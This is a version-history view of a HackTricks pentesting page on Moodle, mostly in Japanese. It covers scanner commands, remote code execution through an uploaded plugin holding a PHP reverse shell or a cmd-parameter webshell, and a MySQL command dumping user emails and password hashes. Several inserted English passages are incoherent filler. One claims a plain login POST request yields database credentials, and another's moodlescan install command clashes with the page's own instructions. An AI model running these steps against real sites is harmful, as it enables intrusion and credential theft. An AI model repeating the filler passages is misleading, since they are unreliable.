hacktricks/network-services-pentesting/pentesting-web/moodle.md

189 lines
13 KiB
Markdown
Raw Normal View History

2022-05-24 00:07:19 +00:00
# Moodle
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
2023-07-07 23:42:27 +00:00
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
2022-04-28 16:01:33 +00:00
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
2022-05-24 00:07:19 +00:00
もし、**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用しています!**(流暢なポーランド語の読み書きが必要です)。
2022-05-24 00:07:19 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
## 自動スキャン
2021-04-05 22:03:17 +00:00
2022-05-24 00:07:19 +00:00
### droopescan
```bash
pip3 install droopescan
droopescan scan moodle -u http://moodle.example.com/<moodle_path>/
2023-07-07 23:42:27 +00:00
[+] Plugins found:
forum http://moodle.schooled.htb/moodle/mod/forum/
http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
http://moodle.schooled.htb/moodle/mod/forum/version.php
[+] No themes found.
[+] Possible version(s):
2023-07-07 23:42:27 +00:00
3.10.0-beta
[+] Possible interesting urls found:
2023-07-07 23:42:27 +00:00
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
Admin panel - http://moodle.schooled.htb/moodle/login/
[+] Scan finished (0:00:05.643539 elapsed)
```
### moodlescan
moodlescan is a command-line tool used for scanning Moodle installations for vulnerabilities. It is specifically designed for penetration testing purposes and can help identify potential security weaknesses in Moodle-based websites.
To use moodlescan, you need to provide the target Moodle URL as a parameter. The tool will then perform various checks and tests to identify any vulnerabilities present in the Moodle installation.
Some of the checks performed by moodlescan include:
- Version detection: moodlescan can determine the version of Moodle being used, which can help identify if any known vulnerabilities exist for that version.
- Plugin enumeration: The tool can enumerate the installed plugins in Moodle, which can help identify if any vulnerable plugins are present.
- User enumeration: moodlescan can enumerate the users in Moodle, which can help identify if any default or weak credentials are being used.
- Directory traversal: The tool can check for directory traversal vulnerabilities, which can allow an attacker to access sensitive files on the server.
- SQL injection: moodlescan can test for SQL injection vulnerabilities, which can allow an attacker to manipulate the Moodle database.
moodlescan provides detailed output, including the vulnerabilities found and recommendations for remediation. It is a valuable tool for assessing the security of Moodle installations and ensuring that appropriate measures are taken to protect against potential attacks.
To install moodlescan, you can use the following command:
```
pip install moodlescan
```
Once installed, you can run moodlescan using the following command:
```
moodlescan <target_url>
```
Replace `<target_url>` with the URL of the Moodle installation you want to scan.
Note: moodlescan should only be used for authorized penetration testing purposes. Unauthorized use of this tool is illegal and unethical. Always ensure you have proper authorization before conducting any security assessments.
```bash
#Install from https://github.com/inc0d3/moodlescan
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/
Version 0.7 - Dic/2020
.............................................................................................................
By Victor Herrera - supported by www.incode.cl
2023-07-07 23:42:27 +00:00
.............................................................................................................
Getting server information http://moodle.schooled.htb/moodle/ ...
server : Apache/2.4.46 (FreeBSD) PHP/7.4.15
x-powered-by : PHP/7.4.15
x-frame-options : sameorigin
last-modified : Wed, 07 Apr 2021 21:33:41 GMT
Getting moodle version...
Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta
Searching vulnerabilities...
Vulnerabilities found: 0
Scan completed.
```
2022-05-24 00:07:19 +00:00
### CMSMap
CMSMapは、ウェブアプリケーションのペネトレーションテストに使用されるツールです。このツールは、MoodleなどのCMSコンテンツ管理システムの脆弱性を特定するために使用されます。
CMSMapは、ウェブサイトのURLを入力することで、そのサイトがどのCMSを使用しているかを特定します。また、CMSのバージョンやインストールされているプラグインなどの詳細情報も提供します。
2023-07-07 23:42:27 +00:00
このツールは、ウェブサイトのセキュリティ評価を行う際に非常に役立ちます。CMSの脆弱性を特定することで、攻撃者がウェブサイトに侵入する可能性を減らすことができます。
2023-07-07 23:42:27 +00:00
CMSMapは、コマンドラインベースのツールであり、Pythonで開発されています。このツールは、ウェブアプリケーションのペネトレーションテストにおいて、CMSの脆弱性を特定するための重要なツールの1つです。
```bash
pip3 install git+https://github.com/dionach/CMSmap.git
cmsmap http://moodle.example.com/<moodle_path>
```
2022-05-24 00:07:19 +00:00
### CVEs
2023-07-07 23:42:27 +00:00
自動ツールは、Moodleのバージョンに影響を与える脆弱性を見つけるのにはほとんど役に立たないことがわかりました。これらの脆弱性は、[https://snyk.io/vuln/composer:moodle%2Fmoodle](https://snyk.io/vuln/composer:moodle%2Fmoodle)で確認できます。
2023-07-07 23:42:27 +00:00
## RCE
「マネージャー」の役割を持っている必要があり、「サイト管理」タブ内でプラグインをインストールできます。
![](<../../.gitbook/assets/image (447).png>)
マネージャーであっても、このオプションを有効にする必要がある場合があります。Moodle特権エスカレーションPoCで確認できます[https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321)。
次に、次のプラグインをインストールできます。このプラグインには、クラシックなpentest-monkey php逆シェルが含まれていますアップロードする前に解凍し、revshellのIPとポートを変更し、再度圧縮する必要があります
{% file src="../../.gitbook/assets/moodle-rce-plugin.zip" %}
2023-07-07 23:42:27 +00:00
または、「cmd」パラメータを使用して通常のPHPシェルを取得するために、[https://github.com/HoangKien1020/Moodle\_RCE](https://github.com/HoangKien1020/Moodle\_RCE)からプラグインを使用することもできます。
2023-07-07 23:42:27 +00:00
悪意のあるプラグインにアクセスするには、次の場所にアクセスする必要があります:
```bash
http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
```
2022-05-24 00:07:19 +00:00
## POST
2023-07-07 23:42:27 +00:00
### データベースの資格情報を見つける
```html
POST /login HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 27
username=admin&password=pass
```
このPOSTリクエストは、`/login`エンドポイントにユーザー名とパスワードを送信しています。もしサーバーが脆弱であれば、このリクエストを利用してデータベースの資格情報を見つけることができます。レスポンスには、ログインが成功した場合にはユーザーのセッション情報やトークンが含まれることがあります。これらの情報を利用して、データベースにアクセスすることができます。
```bash
find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
```
2023-07-07 23:42:27 +00:00
### データベースから資格情報をダンプする
To dump credentials from a database, you can use various techniques depending on the type of database you are targeting. Here are some common methods:
2023-07-07 23:42:27 +00:00
1. **SQL Injection**: If the web application is vulnerable to SQL injection, you can exploit it to extract credentials from the database. By injecting malicious SQL queries, you can retrieve sensitive information such as usernames and passwords.
2023-07-07 23:42:27 +00:00
2. **Brute-forcing**: If you have obtained a database dump file, you can use brute-forcing techniques to crack hashed passwords. By trying different combinations of passwords and comparing the hashes, you may be able to recover the original passwords.
2023-07-07 23:42:27 +00:00
3. **Exploiting Weak Credentials**: Many databases have default or weak credentials set up. By trying common usernames and passwords, you may be able to gain access to the database and extract the credentials.
2023-07-07 23:42:27 +00:00
4. **Using Database Exploitation Tools**: There are several tools available that can automate the process of dumping credentials from databases. These tools often have built-in functionalities to exploit vulnerabilities and extract sensitive information.
2023-07-07 23:42:27 +00:00
Remember, it is important to have proper authorization and legal permission before attempting to dump credentials from a database. Unauthorized access to databases is illegal and unethical. Always ensure you are conducting penetration testing within the boundaries of the law and with the appropriate permissions.
2021-04-05 22:03:17 +00:00
```bash
/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
```
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
2022-04-28 16:01:33 +00:00
もしあなたが**ハッキングのキャリア**に興味があり、**解読不能なものをハック**したいのであれば - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_).
2022-05-24 00:07:19 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
* あなたは**サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **ハッキングのトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
2022-04-28 16:01:33 +00:00
</details>